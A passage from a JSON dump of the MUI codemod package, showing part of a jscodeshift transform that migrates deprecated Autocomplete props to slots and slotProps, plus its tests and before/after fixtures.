element.openingElement.attributes.findIndex(\n    (attr) => attr.type === 'JSXAttribute' && attr.name.name === attributeName,\n  );\n}\n\nfunction upsertSlotPropsAttribute(j, element, callback) {\n  const slotPropsIndex = getAttributeIndex(element, 'slotProps');\n\n  if (slotPropsIndex === -1) {\n    const slotPropsExpression = j.objectExpression([]);\n    callback(slotPropsExpression);\n    appendAttribute(j, {\n      target: element,\n      attributeName: 'slotProps',\n      expression: slotPropsExpression,\n    });\n    return;\n  }\n\n  const slotPropsAttribute = element.openingElement.attributes[slotPropsIndex];\n  const slotPropsExpression = slotPropsAttribute.value.expression;\n\n  if (slotPropsExpression.type === 'ObjectExpression') {\n    callback(slotPropsExpression);\n    return;\n  }\n\n  const nextSlotPropsExpression = j.objectExpression([j.spreadElement(slotPropsExpression)]);\n  callback(nextSlotPropsExpression);\n  slotPropsAttribute.value.expression = nextSlotPropsExpression;\n}\n\nfunction moveJsxPropIntoSlotProps(j, element, propName, slotName) {\n  const propIndex = getAttributeIndex(element, propName);\n\n  if (propIndex === -1) {\n    return;\n  }\n\n  const removedAttribute = element.openingElement.attributes.splice(propIndex, 1)[0];\n  const removedValue =\n    removedAttribute.value.type === 'StringLiteral'\n      ? j.literal(removedAttribute.value.value)\n      : removedAttribute.value.expression;\n\n  upsertSlotPropsAttribute(j, element, (slotPropsExpression) => {\n    const existingSlotIndex = slotPropsExpression.properties.findIndex(\n      (property) => property.type !== 'SpreadElement' && property.key?.name === slotName,\n    );\n\n    if (existingSlotIndex === -1) {\n      slotPropsExpression.properties.push(j.objectProperty(j.identifier(slotName), removedValue));\n      return;\n    }\n\n    const existingSlot = slotPropsExpression.properties[existingSlotIndex].value;\n    slotPropsExpression.properties[existingSlotIndex].value = j.objectExpression([\n      j.spreadElement(removedValue),\n      j.spreadElement(existingSlot),\n    ]);\n  });\n}\n\nfunction ensureParamsSlotPropsSpread(j, element, paramsName) {\n  const hasParamsSpread = element.openingElement.attributes.some(\n    (attribute) =>\n      attribute.type === 'JSXSpreadAttribute' &&\n      attribute.argument.type === 'Identifier' &&\n      attribute.argument.name === paramsName,\n  );\n\n  if (!hasParamsSpread) {\n    return;\n  }\n\n  upsertSlotPropsAttribute(j, element, (slotPropsExpression) => {\n    const hasSlotPropsSpread = slotPropsExpression.properties.some(\n      (property) =>\n        property.type === 'SpreadElement' &&\n        property.argument.type === 'MemberExpression' &&\n        property.argument.object.type === 'Identifier' &&\n        property.argument.object.name === paramsName &&\n        property.argument.property.type === 'Identifier' &&\n        property.argument.property.name === 'slotProps',\n    );\n\n    if (!hasSlotPropsSpread) {\n      slotPropsExpression.properties.unshift(\n        j.spreadElement(j.memberExpression(j.identifier(paramsName), j.identifier('slotProps'))),\n      );\n    }\n  });\n}\n\nfunction replaceRenderInputParamsMembers(j, callbackRoot, paramsName) {\n  const slotPropByDeprecatedName = {\n    InputProps: 'input',\n    inputProps: 'htmlInput',\n    InputLabelProps: 'inputLabel',\n  };\n\n  callbackRoot\n    .find(j.MemberExpression)\n    .filter(\n      (path) =>\n        path.node.object.type === 'Identifier' &&\n        path.node.object.name === paramsName &&\n        path.node.property.type === 'Identifier' &&\n        slotPropByDeprecatedName[path.node.property.name],\n    )\n    .replaceWith((path) =>\n      j.memberExpression(\n        j.memberExpression(j.identifier(paramsName), j.identifier('slotProps')),\n        j.identifier(slotPropByDeprecatedName[path.node.property.name]),\n      ),\n    );\n}\n\nfunction transformRenderInput(j, root, options) {\n  const packageName = options.packageName || '@mui/material';\n  const textFieldNames = getImportedNames(j, root, packageName, 'TextField');\n\n  findComponentJSX(\n    j,\n    { root, packageName: options.packageName, componentName: 'Autocomplete' },\n    (elementPath) => {\n      const renderInputIndex = getAttributeIndex(elementPath.node, 'renderInput');\n\n      if (renderInputIndex === -1) {\n        return;\n      }\n\n      const renderInputAttribute = elementPath.node.openingElement.attributes[renderInputIndex];\n      const renderInputExpression = renderInputAttribute.value?.expression;\n\n      if (\n        !renderInputExpression ||\n        !['ArrowFunctionExpression', 'FunctionExpression'].includes(renderInputExpression.type) ||\n        renderInputExpression.params.length === 0 ||\n        renderInputExpression.params[0].type !== 'Identifier'\n      ) {\n        return;\n      }\n\n      const paramsName = renderInputExpression.params[0].name;\n      const callbackRoot = j(renderInputExpression.body);\n\n      replaceRenderInputParamsMembers(j, callbackRoot, paramsName);\n\n      textFieldNames.forEach((textFieldName) => {\n        const textFieldElements = [];\n\n        if (\n          renderInputExpression.body.type === 'JSXElement' &&\n          renderInputExpression.body.openingElement.name.type === 'JSXIdentifier' &&\n          renderInputExpression.body.openingElement.name.name === textFieldName\n        ) {\n          textFieldElements.push(renderInputExpression.body);\n        }\n\n        callbackRoot\n          .find(j.JSXElement)\n          .filter(\n            (textFieldPath) =>\n              textFieldPath.node.openingElement.name.type === 'JSXIdentifier' &&\n              textFieldPath.node.openingElement.name.name === textFieldName,\n          )\n          .forEach((textFieldPath) => {\n            textFieldElements.push(textFieldPath.node);\n          });\n\n        textFieldElements.forEach((element) => {\n          moveJsxPropIntoSlotProps(j, element, 'InputProps', 'input');\n          moveJsxPropIntoSlotProps(j, element, 'inputProps', 'htmlInput');\n          moveJsxPropIntoSlotProps(j, element, 'InputLabelProps', 'inputLabel');\n          moveJsxPropIntoSlotProps(j, element, 'SelectProps', 'select');\n          moveJsxPropIntoSlotProps(j, element, 'FormHelperTextProps', 'formHelperText');\n\n          if (getAttributeIndex(element, 'slotProps') !== -1) {\n            ensureParamsSlotPropsSpread(j, element, paramsName);\n          }\n        });\n      });\n    },\n  );\n}\n\nfunction isNonComputedKey(j, path) {\n  const parent = path.parent.node;\n\n  return (\n    (j.ObjectProperty.check(parent) || j.Property.check(parent)) &&\n    parent.key === path.node &&\n    !parent.computed\n  );\n}\n\nfunction renameIdentifiersInScope(j, scopePath, oldName, newName) {\n  const bindingScope = scopePath.scope.lookup(oldName);\n\n  if (!bindingScope) {\n    return;\n  }\n\n  j(bindingScope.path)\n    .find(j.Identifier, { name: oldName })\n    .filter((path) => {\n      if (isNonComputedKey(j, path)) {\n        return false;\n      }\n\n      return path.scope.lookup(oldName) === bindingScope;\n    })\n    .replaceWith(() => j.identifier(newName));\n}\n\nfunction renameRenderTagsCallback(j, callbackPath) {\n  const getTagPropsParam = callbackPath.node.params[1];\n\n  if (getTagPropsParam?.type === 'Identifier' && getTagPropsParam.name === 'getTagProps') {\n    renameIdentifiersInScope(j, callbackPath, 'getTagProps', 'getItemProps');\n  }\n}\n\nfunction renameRenderTagsProp(j, propertyPath) {\n  if (propertyPath.node.key.type === 'Identifier') {\n    propertyPath.node.key.name = 'renderValue';\n  }\n\n  if (\n    propertyPath.node.value.type === 'ArrowFunctionExpression' ||\n    propertyPath.node.value.type === 'FunctionExpression'\n  ) {\n    renameRenderTagsCallback(j, propertyPath.get('value'));\n  }\n}\n\nfunction renameUseAutocompleteReturnMembers(j, root) {\n  const renamedMembers = new Map([\n    ['getTagProps', 'getItemProps'],\n    ['focusedTag', 'focusedItem'],\n  ]);\n\n  root\n    .find(j.VariableDeclarator)\n    .filter((path) => {\n      const { id, init } = path.node;\n\n      return (\n        id.type === 'ObjectPattern' &&\n        init?.type === 'CallExpression' &&\n        init.callee.type === 'Identifier' &&\n        init.callee.name === 'useAutocomplete'\n      );\n    })\n    .forEach((path) => {\n      path.node.id.properties.forEach((property) => {\n        if (property.type !== 'ObjectProperty' || property.key.type !== 'Identifier') {\n          return;\n        }\n\n        const nextName = renamedMembers.get(property.key.name);\n\n        if (!nextName) {\n          return;\n        }\n\n        const isShorthand = property.shorthand === true;\n        const localName = property.value.type === 'Identifier' ? property.value.name : null;\n\n        property.key.name = nextName;\n\n        if (isShorthand && localName) {\n          renameIdentifiersInScope(j, path, localName, nextName);\n          property.shorthand = true;\n        }\n      });\n    });\n}\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  movePropIntoSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Autocomplete',\n    propName: 'PaperComponent',\n    slotName: 'paper',\n  });\n\n  movePropIntoSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Autocomplete',\n    propName: 'PopperComponent',\n    slotName: 'popper',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Autocomplete',\n    propName: 'ListboxProps',\n    slotName: 'listbox',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Autocomplete',\n    propName: 'ChipProps',\n    slotName: 'chip',\n  });\n\n  replaceComponentsWithSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Autocomplete',\n  });\n\n  transformRenderInput(j, root, options);\n\n  // Move ListboxComponent JSX prop into slotProps.listbox.component\n  findComponentJSX(\n    j,\n    { root, packageName: options.packageName, componentName: 'Autocomplete' },\n    (elementPath) => {\n      const element = elementPath.node;\n\n      element.openingElement.attributes.forEach((attribute, index) => {\n        if (attribute.type !== 'JSXAttribute' || attribute.name.name !== 'renderTags') {\n          return;\n        }\n\n        attribute.name.name = 'renderValue';\n\n        if (\n          attribute.value?.type === 'JSXExpressionContainer' &&\n          (attribute.value.expression.type === 'ArrowFunctionExpression' ||\n            attribute.value.expression.type === 'FunctionExpression')\n        ) {\n          renameRenderTagsCallback(\n            j,\n            elementPath.get('openingElement', 'attributes', index, 'value', 'expression'),\n          );\n        }\n      });\n\n      const propIndex = element.openingElement.attributes.findIndex(\n        (attr) => attr.type === 'JSXAttribute' && attr.name.name === 'ListboxComponent',\n      );\n\n      if (propIndex !== -1) {\n        const removedValue = element.openingElement.attributes.splice(propIndex, 1)[0].value\n          .expression;\n        let hasSlotProps = false;\n        element.openingElement.attributes.forEach((attr) => {\n          if (attr.name?.name === 'slotProps') {\n            hasSlotProps = true;\n            const slots = attr.value.expression;\n            const slotIndex = slots.properties.findIndex((prop) => prop?.key?.name === 'listbox');\n            if (slotIndex === -1) {\n              assignObject(j, {\n                target: attr,\n                key: 'listbox',\n                expression: j.objectExpression([\n                  j.objectProperty(j.identifier('component'), removedValue),\n                ]),\n              });\n            } else {\n              const slotPropsSlotValue = slots.properties.splice(slotIndex, 1)[0].value;\n              assignObject(j, {\n                target: attr,\n                key: 'listbox',\n                expression: j.objectExpression([\n                  j.objectProperty(j.identifier('component'), removedValue),\n                  j.spreadElement(slotPropsSlotValue),\n                ]),\n              });\n            }\n          }\n        });\n\n        if (!hasSlotProps) {\n          appendAttribute(j, {\n            target: element,\n            attributeName: 'slotProps',\n            expression: j.objectExpression([\n              j.objectProperty(\n                j.identifier('listbox'),\n                j.objectExpression([j.objectProperty(j.identifier('component'), removedValue)]),\n              ),\n            ]),\n          });\n        }\n      }\n    },\n  );\n\n  // Move ListboxComponent default prop into slotProps.listbox.component\n  const defaultPropsPathCollection = findComponentDefaultProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Autocomplete',\n  });\n\n  defaultPropsPathCollection\n    .find(j.ObjectProperty, { key: { name: 'ListboxComponent' } })\n    .forEach((path) => {\n      const removedValue = path.value.value;\n      const defaultProps = path.parent.value;\n\n      let hasSlotProps = false;\n      defaultProps.properties.forEach((property) => {\n        if (property.key?.name === 'slotProps') {\n          hasSlotProps = true;\n          const slotIndex = property.value.properties.findIndex(\n            (prop) => prop?.key?.name === 'listbox',\n          );\n          if (slotIndex === -1) {\n            property.value.properties.push(\n              j.objectProperty(\n                j.identifier('listbox'),\n                j.objectExpression([j.objectProperty(j.identifier('component'), removedValue)]),\n              ),\n            );\n          } else {\n            const slotPropsSlotValue = property.value.properties.splice(slotIndex, 1)[0].value;\n            property.value.properties.push(\n              j.objectProperty(\n                j.identifier('listbox'),\n                j.objectExpression([\n                  j.objectProperty(j.identifier('component'), removedValue),\n                  j.spreadElement(slotPropsSlotValue),\n                ]),\n              ),\n            );\n          }\n        }\n      });\n\n      if (!hasSlotProps) {\n        defaultProps.properties.push(\n          j.objectProperty(\n            j.identifier('slotProps'),\n            j.objectExpression([\n              j.objectProperty(\n                j.identifier('listbox'),\n                j.objectExpression([j.objectProperty(j.identifier('component'), removedValue)]),\n              ),\n            ]),\n          ),\n        );\n      }\n\n      path.prune();\n    });\n\n  defaultPropsPathCollection\n    .find(j.ObjectProperty, { key: { name: 'renderTags' } })\n    .forEach((path) => {\n      renameRenderTagsProp(j, path);\n    });\n\n  renameUseAutocompleteReturnMembers(j, root);\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/autocomplete-props/autocomplete-props.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport { jscodeshift } from '../../../testUtils';\nimport transform from './autocomplete-props';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('autocomplete-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform({ source: read('./test-cases/actual.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform({ source: read('./test-cases/expected.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('transforms renderInput params as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/render-input.actual.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/render-input.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent for renderInput params', () => {\n        const actual = transform(\n          { source: read('./test-cases/render-input.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/render-input.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[theme] autocomplete-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.actual.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[package] autocomplete-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.actual.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.expected.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('transforms renderInput params as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/render-input-package.actual.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/render-input-package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent for renderInput params', () => {\n        const actual = transform(\n          { source: read('./test-cases/render-input-package.expected.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/render-input-package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/autocomplete-props/index.js",
    "content": "export { default } from './autocomplete-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/autocomplete-props/test-cases/actual.js",
    "content": "import Autocomplete from '@mui/material/Autocomplete';\nimport {Autocomplete as MyAutocomplete} from '@mui/material';\nimport Chip from '@mui/material/Chip';\nimport useAutocomplete from '@mui/material/useAutocomplete';\n\n<Autocomplete\n  ChipProps={{ height: 10 }}\n  PaperComponent={CustomPaper}\n  PopperComponent={CustomPopper}\n  ListboxComponent={CustomListbox}\n  ListboxProps={{ height: 12 }}\n  componentsProps={{\n    clearIndicator: { width: 10 },\n    paper: { width: 12 },\n    popper: { width: 14 },\n    popupIndicator: { width: 16 },\n  }}\n/>;\n\n<Autocomplete\n  ChipProps={{ height: 10 }}\n  PaperComponent={CustomPaper}\n  PopperComponent={CustomPopper}\n  ListboxComponent={CustomListbox}\n  ListboxProps={{ height: 12 }}\n  slotProps={{\n    popupIndicator: { width: 20 }\n  }}\n  componentsProps={{\n    clearIndicator: { width: 10 },\n    paper: { width: 12 },\n    popper: { width: 14 },\n    popupIndicator: { width: 16 },\n  }}\n/>;\n\n<MyAutocomplete\n  ChipProps={{ height: 10 }}\n  PaperComponent={CustomPaper}\n  PopperComponent={CustomPopper}\n  ListboxComponent={CustomListbox}\n  ListboxProps={{ height: 12 }}\n  componentsProps={{\n    clearIndicator: { width: 10 },\n    paper: { width: 12 },\n    popper: { width: 14 },\n    popupIndicator: { width: 16 },\n  }}\n/>;\n\n<CustomAutocomplete\n  componentsProps={{\n    clearIndicator: { width: 10 },\n    paper: { width: 12 },\n    popper: { width: 14 },\n    popupIndicator: { width: 16 },\n  }}\n/>;\n\n<CustomAutocomplete\n  ChipProps={{ height: 10 }}\n  PaperComponent={CustomPaper}\n  PopperComponent={CustomPopper}\n  ListboxComponent={CustomListbox}\n  ListboxProps={{ height: 12 }}\n/>;\n\n<Autocomplete\n  multiple\n  options={options}\n  renderTags={(value, getTagProps, ownerState) =>\n    value.map((option, index) => (\n      <Chip label={option.label} data-focused={ownerState.focused} {...getTagProps({ index })} />\n    ))\n  }\n/>;\n\nconst { getTagProps, focusedTag } = useAutocomplete(props);\n\n<Chip {...getTagProps({ index: focusedTag })} />;\n\nconst { getTagProps: getAutocompleteTagProps, focusedTag: focusedAutocompleteTag } =\n  useAutocomplete(props);\n\n<Chip {...getAutocompleteTagProps({ index: focusedAutocompleteTag })} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/autocomplete-props/test-cases/expected.js",
    "content": "import Autocomplete from '@mui/material/Autocomplete';\nimport {Autocomplete as MyAutocomplete} from '@mui/material';\nimport Chip from '@mui/material/Chip';\nimport useAutocomplete from '@mui/material/useAutocomplete';\n\n<Autocomplete\n  slots={{\n    paper: CustomPaper,\n    popper: CustomPopper\n  }}\n  slotProps={{\n    chip: { height: 10 },\n    clearIndicator: { width: 10 },\n    paper: { width: 12 },\n    popper: { width: 14 },\n    popupIndicator: { width: 16 },\n\n    listbox: {\n      component: CustomListbox,\n      ...{ height: 12 }\n    }\n  }} />;\n\n<Autocomplete\n  slotProps={{\n    chip: { height: 10 },\n    clearIndicator: { width: 10 },\n    paper: { width: 12 },\n    popper: { width: 14 },\n\n    popupIndicator: {\n      ...{ width: 16 },\n      ...{ width: 20 }\n    },\n\n    listbox: {\n      component: CustomListbox,\n      ...{ height: 12 }\n    }\n  }}\n  slots={{\n    paper: CustomPaper,\n    popper: CustomPopper\n  }} />;\n\n<MyAutocomplete\n  slots={{\n    paper: CustomPaper,\n    popper: CustomPopper\n  }}\n  slotProps={{\n    chip: { height: 10 },\n    clearIndicator: { width: 10 },\n    paper: { width: 12 },\n    popper: { width: 14 },\n    popupIndicator: { width: 16 },\n\n    listbox: {\n      component: CustomListbox,\n      ...{ height: 12 }\n    }\n  }} />;\n\n<CustomAutocomplete\n  componentsProps={{\n    clearIndicator: { width: 10 },\n    paper: { width: 12 },\n    popper: { width: 14 },\n    popupIndicator: { width: 16 },\n  }}\n/>;\n\n<CustomAutocomplete\n  ChipProps={{ height: 10 }}\n  PaperComponent={CustomPaper}\n  PopperComponent={CustomPopper}\n  ListboxComponent={CustomListbox}\n  ListboxProps={{ height: 12 }}\n/>;\n\n<Autocomplete\n  multiple\n  options={options}\n  renderValue={(value, getItemProps, ownerState) =>\n    value.map((option, index) => (\n      <Chip label={option.label} data-focused={ownerState.focused} {...getItemProps({ index })} />\n    ))\n  }\n/>;\n\nconst { getItemProps, focusedItem } = useAutocomplete(props);\n\n<Chip {...getItemProps({ index: focusedItem })} />;\n\nconst { getItemProps: getAutocompleteTagProps, focusedItem: focusedAutocompleteTag } =\n  useAutocomplete(props);\n\n<Chip {...getAutocompleteTagProps({ index: focusedAutocompleteTag })} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/autocomplete-props/test-cases/package.actual.js",
    "content": "import Autocomplete from '@org/ui/material/Autocomplete';\nimport {Autocomplete as MyAutocomplete} from '@org/ui/material';\nimport Chip from '@org/ui/material/Chip';\n\n<Autocomplete\n  ChipProps={{ height: 10 }}\n  PaperComponent={CustomPaper}\n  PopperComponent={CustomPopper}\n  ListboxComponent={CustomListbox}\n  ListboxProps={{ height: 12 }}\n  componentsProps={{\n    clearIndicator: { width: 10 },\n    paper: { width: 12 },\n    popper: { width: 14 },\n    popupIndicator: { width: 16 },\n  }}\n/>;\n\n<Autocomplete\n  ChipProps={{ height: 10 }}\n  PaperComponent={CustomPaper}\n  PopperComponent={CustomPopper}\n  ListboxComponent={CustomListbox}\n  ListboxProps={{ height: 12 }}\n  slotProps={{\n    popupIndicator: { width: 20 }\n  }}\n  componentsProps={{\n    clearIndicator: { width: 10 },\n    paper: { width: 12 },\n    popper: { width: 14 },\n    popupIndicator: { width: 16 },\n  }}\n/>;\n\n<MyAutocomplete\n  ChipProps={{ height: 10 }}\n  PaperComponent={CustomPaper}\n  PopperComponent={CustomPopper}\n  ListboxComponent={CustomListbox}\n  ListboxProps={{ height: 12 }}\n  componentsProps={{\n    clearIndicator: { width: 10 },\n    paper: { width: 12 },\n    popper: { width: 14 },\n    popupIndicator: { width: 16 },\n  }}\n/>;\n\n<CustomAutocomplete\n  componentsProps={{\n    clearIndicator: { width: 10 },\n    paper: { width: 12 },\n    popper: { width: 14 },\n    popupIndicator: { width: 16 },\n  }}\n/>;\n\n<CustomAutocomplete\n  ChipProps={{ height: 10 }}\n  PaperComponent={CustomPaper}\n  PopperComponent={CustomPopper}\n  ListboxComponent={CustomListbox}\n  ListboxProps={{ height: 12 }}\n/>;\n\n<MyAutocomplete\n  multiple\n  options={options}\n  renderTags={(value, getTagProps) =>\n    value.map((option, index) => <Chip label={option.label} {...getTagProps({ index })} />)\n  }\n/>\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/autocomplete-props/test-cases/package.expected.js",
    "content": "import Autocomplete from '@org/ui/material/Autocomplete';\nimport {Autocomplete as MyAutocomplete} from '@org/ui/material';\nimport Chip from '@org/ui/material/Chip';\n\n<Autocomplete\n  slots={{\n    paper: CustomPaper,\n    popper: CustomPopper\n  }}\n  slotProps={{\n    chip: { height: 10 },\n    clearIndicator: { width: 10 },\n    paper: { width: 12 },\n    popper: { width: 14 },\n    popupIndicator: { width: 16 },\n\n    listbox: {\n      component: CustomListbox,\n      ...{ height: 12 }\n    }\n  }} />;\n\n<Autocomplete\n  slotProps={{\n    chip: { height: 10 },\n    clearIndicator: { width: 10 },\n    paper: { width: 12 },\n    popper: { width: 14 },\n\n    popupIndicator: {\n      ...{ width: 16 },\n      ...{ width: 20 }\n    },\n\n    listbox: {\n      component: CustomListbox,\n      ...{ height: 12 }\n    }\n  }}\n  slots={{\n    paper: CustomPaper,\n    popper: CustomPopper\n  }} />;\n\n<MyAutocomplete\n  slots={{\n    paper: CustomPaper,\n    popper: CustomPopper\n  }}\n  slotProps={{\n    chip: { height: 10 },\n    clearIndicator: { width: 10 },\n    paper: { width: 12 },\n    popper: { width: 14 },\n    popupIndicator: { width: 16 },\n\n    listbox: {\n      component: CustomListbox,\n      ...{ height: 12 }\n    }\n  }} />;\n\n<CustomAutocomplete\n  componentsProps={{\n    clearIndicator: { width: 10 },\n    paper: { width: 12 },\n    popper: { width: 14 },\n    popupIndicator: { width: 16 },\n  }}\n/>;\n\n<CustomAutocomplete\n  ChipProps={{ height: 10 }}\n  PaperComponent={CustomPaper}\n  PopperComponent={CustomPopper}\n  ListboxComponent={CustomListbox}\n  ListboxProps={{ height: 12 }}\n/>;\n\n<MyAutocomplete\n  multiple\n  options={options}\n  renderValue={(value, getItemProps) =>\n    value.map((option, index) => <Chip label={option.label} {...getItemProps({ index })} />)\n  }\n/>\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/autocomplete-props/test-cases/render-input-package.actual.js",
    "content": "import TextField from '@org/ui/material/TextField';\nimport Autocomplete from '@org/ui/material/Autocomplete';\nimport { Autocomplete as MyAutocomplete } from '@org/ui/material';\n\n<Autocomplete\n  renderInput={(params) => (\n    <TextField\n      {...params}\n      inputProps={{\n        ...params.inputProps,\n        autoComplete: 'new-password',\n      }}\n    />\n  )}\n/>;\n\n<MyAutocomplete\n  renderInput={(params) => (\n    <TextField\n      {...params}\n      inputProps={{\n        ...params.inputProps,\n        autoComplete: 'new-password',\n      }}\n    />\n  )}\n/>;\n\n<CustomAutocomplete\n  renderInput={(params) => (\n    <TextField\n      {...params}\n      inputProps={{\n        ...params.inputProps,\n        autoComplete: 'new-password',\n      }}\n    />\n  )}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/autocomplete-props/test-cases/render-input-package.expected.js",
    "content": "import TextField from '@org/ui/material/TextField';\nimport Autocomplete from '@org/ui/material/Autocomplete';\nimport { Autocomplete as MyAutocomplete } from '@org/ui/material';\n\n<Autocomplete\n  renderInput={(params) => (\n    <TextField\n      {...params}\n      slotProps={{\n        ...params.slotProps,\n\n        htmlInput: {\n          ...params.slotProps.htmlInput,\n          autoComplete: 'new-password',\n        }\n      }}\n    />\n  )}\n/>;\n\n<MyAutocomplete\n  renderInput={(params) => (\n    <TextField\n      {...params}\n      slotProps={{\n        ...params.slotProps,\n\n        htmlInput: {\n          ...params.slotProps.htmlInput,\n          autoComplete: 'new-password',\n        }\n      }}\n    />\n  )}\n/>;\n\n<CustomAutocomplete\n  renderInput={(params) => (\n    <TextField\n      {...params}\n      inputProps={{\n        ...params.inputProps,\n        autoComplete: 'new-password',\n      }}\n    />\n  )}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/autocomplete-props/test-cases/render-input.actual.js",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport { Autocomplete as MyAutocomplete } from '@mui/material';\n\n<Autocomplete\n  renderInput={(params) => (\n    <TextField\n      {...params}\n      InputProps={{\n        ...params.InputProps,\n        endAdornment: (\n          <React.Fragment>\n            {params.InputProps.endAdornment}\n          </React.Fragment>\n        ),\n      }}\n    />\n  )}\n/>;\n\n<Autocomplete\n  renderInput={(params) => (\n    <TextField\n      {...params}\n      inputProps={{\n        ...params.inputProps,\n        autoComplete: 'new-password',\n      }}\n    />\n  )}\n/>;\n\n<Autocomplete\n  renderInput={(params) => (\n    <TextField\n      {...params}\n      slotProps={{\n        input: {\n          ...params.InputProps,\n          type: 'search',\n        },\n      }}\n    />\n  )}\n/>;\n\n<Autocomplete\n  renderInput={(params) => (\n    <TextField\n      {...params}\n      slotProps={{\n        inputLabel: {\n          ...params.InputLabelProps,\n          shrink: true,\n        },\n      }}\n    />\n  )}\n/>;\n\n<Autocomplete\n  renderInput={(params) => (\n    <div ref={params.InputProps.ref}>\n      <input {...params.inputProps} />\n    </div>\n  )}\n/>;\n\n<MyAutocomplete\n  renderInput={(params) => (\n    <TextField\n      {...params}\n      InputProps={{\n        ...params.InputProps,\n        endAdornment: (\n          <React.Fragment>\n            {params.InputProps.endAdornment}\n          </React.Fragment>\n        ),\n      }}\n    />\n  )}\n/>;\n\n<CustomAutocomplete\n  renderInput={(params) => (\n    <TextField\n      {...params}\n      InputProps={{\n        ...params.InputProps,\n        endAdornment: (\n          <React.Fragment>\n            {params.InputProps.endAdornment}\n          </React.Fragment>\n        ),\n      }}\n    />\n  )}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/autocomplete-props/test-cases/render-input.expected.js",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport { Autocomplete as MyAutocomplete } from '@mui/material';\n\n<Autocomplete\n  renderInput={(params) => (\n    <TextField\n      {...params}\n      slotProps={{\n        ...params.slotProps,\n\n        input: {\n          ...params.slotProps.input,\n          endAdornment: (\n            <React.Fragment>\n              {params.slotProps.input.endAdornment}\n            </React.Fragment>\n          ),\n        }\n      }}\n    />\n  )}\n/>;\n\n<Autocomplete\n  renderInput={(params) => (\n    <TextField\n      {...params}\n      slotProps={{\n        ...params.slotProps,\n\n        htmlInput: {\n          ...params.slotProps.htmlInput,\n          autoComplete: 'new-password',\n        }\n      }}\n    />\n  )}\n/>;\n\n<Autocomplete\n  renderInput={(params) => (\n    <TextField\n      {...params}\n      slotProps={{\n        ...params.slotProps,\n\n        input: {\n          ...params.slotProps.input,\n          type: 'search',\n        }\n      }}\n    />\n  )}\n/>;\n\n<Autocomplete\n  renderInput={(params) => (\n    <TextField\n      {...params}\n      slotProps={{\n        ...params.slotProps,\n\n        inputLabel: {\n          ...params.slotProps.inputLabel,\n          shrink: true,\n        }\n      }}\n    />\n  )}\n/>;\n\n<Autocomplete\n  renderInput={(params) => (\n    <div ref={params.slotProps.input.ref}>\n      <input {...params.slotProps.htmlInput} />\n    </div>\n  )}\n/>;\n\n<MyAutocomplete\n  renderInput={(params) => (\n    <TextField\n      {...params}\n      